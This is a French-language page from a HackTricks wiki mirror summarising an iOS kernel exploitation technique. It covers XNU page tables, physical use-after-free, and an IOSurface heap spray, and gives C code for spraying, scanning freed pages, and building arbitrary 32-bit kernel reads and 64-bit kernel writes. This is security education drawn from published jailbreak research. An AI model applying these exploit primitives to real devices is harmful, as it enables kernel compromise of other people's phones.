mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
204 lines
10 KiB
Markdown
204 lines
10 KiB
Markdown
# iOS Exploiting
|
|
|
|
## Utilisation physique après libération
|
|
|
|
Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
|
|
|
### Gestion de la mémoire dans XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles.
|
|
|
|
#### Niveaux des tables de pages dans iOS
|
|
|
|
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
|
|
|
|
1. **Table de pages L1 (Niveau 1)** :
|
|
* Chaque entrée ici représente une large plage de mémoire virtuelle.
|
|
* Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle.
|
|
2. **Table de pages L2 (Niveau 2)** :
|
|
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo).
|
|
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
|
|
3. **Table de pages L3 (Niveau 3)** :
|
|
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**.
|
|
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
|
|
|
|
#### Mapping de la mémoire virtuelle à la mémoire physique
|
|
|
|
* **Mapping direct (Mapping par bloc)** :
|
|
* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci).
|
|
* **Pointeur vers la table de pages enfant** :
|
|
* Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2).
|
|
|
|
#### Exemple : Mapping d'une adresse virtuelle
|
|
|
|
Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
|
|
|
1. **Table L1** :
|
|
* Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2.
|
|
2. **Table L2** :
|
|
* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, il y procède.
|
|
3. **Table L3** :
|
|
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
|
|
|
|
#### Exemple de mapping d'adresse
|
|
|
|
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
|
|
|
|
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**.
|
|
* C'est un **mapping par bloc** au niveau L2.
|
|
|
|
Alternativement, si l'entrée L2 pointe vers une table L3 :
|
|
|
|
* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
|
|
|
|
### Utilisation physique après libération
|
|
|
|
Une **utilisation physique après libération** (UAF) se produit lorsque :
|
|
|
|
1. Un processus **alloue** de la mémoire comme **lisible et écrivable**.
|
|
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
|
|
3. Le processus **désalloue** (libère) la mémoire.
|
|
4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
|
|
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**.
|
|
6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
|
|
|
|
Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
|
|
|
|
### Stratégie d'exploitation : Spray de tas
|
|
|
|
Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** :
|
|
|
|
1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau.
|
|
2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier.
|
|
3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
|
|
4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**.
|
|
|
|
Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
|
|
|
### Processus de spray de tas étape par étape
|
|
|
|
1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
|
|
2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
|
|
3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
|
|
* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau.
|
|
* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**.
|
|
|
|
Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard :
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
Recherchez des objets **`IOSurface`** dans une page physique libérée :
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Réaliser des opérations de lecture/écriture du noyau avec IOSurface
|
|
|
|
Après avoir pris le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**.
|
|
|
|
**Champs clés dans IOSurface**
|
|
|
|
L'objet IOSurface a deux champs cruciaux :
|
|
|
|
1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**.
|
|
2. **Pointeur de timestamp indexé** : Permet une **écriture de 64 bits**.
|
|
|
|
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.
|
|
|
|
#### Lecture du noyau de 32 bits
|
|
|
|
Pour effectuer une lecture :
|
|
|
|
1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
|
|
2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### Écriture du noyau 64 bits
|
|
|
|
Pour effectuer une écriture :
|
|
|
|
1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible.
|
|
2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Récapitulatif du Flux d'Exploitation
|
|
|
|
1. **Déclencher une Utilisation Après Libération Physique** : Les pages libérées sont disponibles pour réutilisation.
|
|
2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
|
|
3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez.
|
|
4. **Abuser de l'Utilisation Après Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** arbitraire du noyau via les méthodes IOSurface.
|
|
|
|
Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).
|